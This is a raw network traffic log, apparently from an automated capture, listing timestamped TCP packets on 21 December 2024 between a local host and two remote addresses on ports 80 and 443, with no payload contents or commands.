                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.250422001 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.250451088 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.250891924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.250940084 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.250938892 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.250967026 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.250997066 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.251019955 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.251019955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.251082897 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.251918077 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.252015114 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.252017021 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.252110958 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.253058910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.253122091 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.253170967 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.253638983 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.254179955 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.254228115 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.254245043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.254292965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.255436897 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.255494118 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.255583048 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.255635023 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.256474972 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.256520987 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.256572962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.256622076 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.257639885 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.257714033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.257760048 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.257808924 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.258793116 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.258837938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.258889914 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.258959055 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.259520054 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.259574890 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.259664059 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.259737015 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.259761095 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.259808064 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.259952068 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.260003090 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.260025024 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.260080099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.261012077 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.261084080 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.261107922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.261157036 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.261230946 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.261281013 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.262232065 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.262353897 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.262408972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.263394117 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.263444901 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.263516903 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.263567924 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.264594078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.264645100 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.264712095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.264791965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.268742085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.268793106 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.268827915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.268865108 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.268876076 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.268893957 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.268918991 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.269196033 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.269407988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.269443035 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.269469976 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.269469976 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.269499063 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.270339012 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.270468950 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.270529032 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.270529032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.270699978 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.270752907 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.271528006 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.271563053 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.271581888 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.271609068 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.272877932 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.272933960 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.273072004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.273121119 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.273283005 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.273333073 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.273348093 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.273387909 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.275454044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.275489092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.275518894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.275527954 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.275635958 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.275670052 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.275681019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.275717974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.276875973 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.277229071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.277288914 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.277859926 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.278750896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.278786898 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.278821945 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.278821945 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.278836966 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.279376030 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.279436111 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.279791117 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.279844999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.279958963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.280009985 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.280795097 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.280910015 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.281141043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.281192064 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.281970978 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.282021999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.282140970 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.282191038 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283118010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283174038 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283294916 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283344984 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283514977 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283549070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283569098 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283585072 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283597946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283636093 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.283955097 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.284008980 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.284053087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.284157991 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.284204960 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.285269022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.285316944 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.285377979 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.285429001 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.286463022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.286514044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.286570072 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.286619902 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.287559032 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.287609100 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.287652969 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.287699938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.288655043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.288705111 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.288765907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.288816929 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.289792061 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.289844990 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.289904118 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.289952040 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.292571068 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.292622089 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.293982029 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.294030905 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.295164108 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.295212030 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.299329042 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.299381971 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.302606106 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.302655935 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.303878069 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.303932905 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.313229084 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.313277006 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.314455986 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.314737082 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.314980984 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.315032005 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.316698074 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.316754103 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.318993092 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.321641922 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.323466063 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.323514938 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.325501919 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.325556040 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.326793909 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.329638958 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.331078053 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.331129074 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.332386017 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.332432985 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.336319923 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.337639093 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.337644100 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.337687016 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.340951920 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.341002941 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.341095924 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.341145992 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.346313000 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.349639893 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.349644899 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.349684000 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.351135015 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.352078915 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.352082968 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.352127075 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.356069088 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.356117010 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.356267929 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.356316090 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.359904051 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.361284971 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.361289024 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.361331940 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.364850044 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.364903927 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.364924908 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.364975929 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.369791985 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.369852066 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.369872093 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.369940042 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.374577999 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.377636909 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.377641916 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.377680063 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.379683971 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.379750967 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.379764080 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.381637096 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.384354115 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.384403944 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.385047913 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.385097980 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.386140108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.386169910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.386224031 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.386392117 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.386442900 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.386538029 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.386584044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.387633085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.387684107 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.387686014 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.387729883 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.388668060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.388717890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.388771057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.388818026 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.389286995 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.389336109 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.389457941 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.389499903 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.389595032 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.389657974 CET44349858172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.389904022 CET49858443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.426785946 CET804985031.41.244.11192.168.2.4
